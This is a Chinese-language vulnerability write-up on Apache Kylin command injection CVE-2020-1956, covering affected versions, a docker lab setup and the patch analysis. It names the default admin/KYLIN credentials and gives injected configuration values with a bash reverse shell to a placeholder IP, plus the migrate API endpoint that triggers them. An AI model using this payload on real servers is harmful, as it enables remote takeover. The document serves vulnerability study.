Apache Kylin 命令注入漏洞 CVE-2020-1956

漏洞描述

2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP**)等功能。

影响版本

Apache Kylin 2.3.0 ~ 2.3.2

Apache Kylin 2.4.0 ~ 2.4.1

Apache Kylin 2.5.0 ~ 2.5.2

Apache Kylin 2.6.0 ~ 2.6.5

Apache Kylin 3.0.0-alpha, Apache Kylin 3.0.0-alpha2, Apache Kylin 3.0.0-beta, Apache Kylin 3.0.0, Kylin 3.0.1

环境搭建

这里使用 docker 来搭建需要的环境

Kylin官方文档

docker pull apachekylin/apache-kylin-standalone:3.0.1

如果服务器内存较小,可不选择 -m 8G 参数

打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功

漏洞分析

查看这个漏洞修复的补丁

查看地址

由此可以得出我们可以通过这两个可控的参数,执行任意我们需要的命令,例如反弹一个shell,设置的配置为

kylin.tool.auto-migrate-cube.enabled=true

kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1

kylin.tool.auto-migrate-cube.dest-config=shell

再去发送POST请求 /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate

成功反弹一个shell

漏洞利用POC

POC利用前提是拥有账号密码,默认账号密码是 admin/KYLIN

参考文章

Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

Last updated

Was this helpful?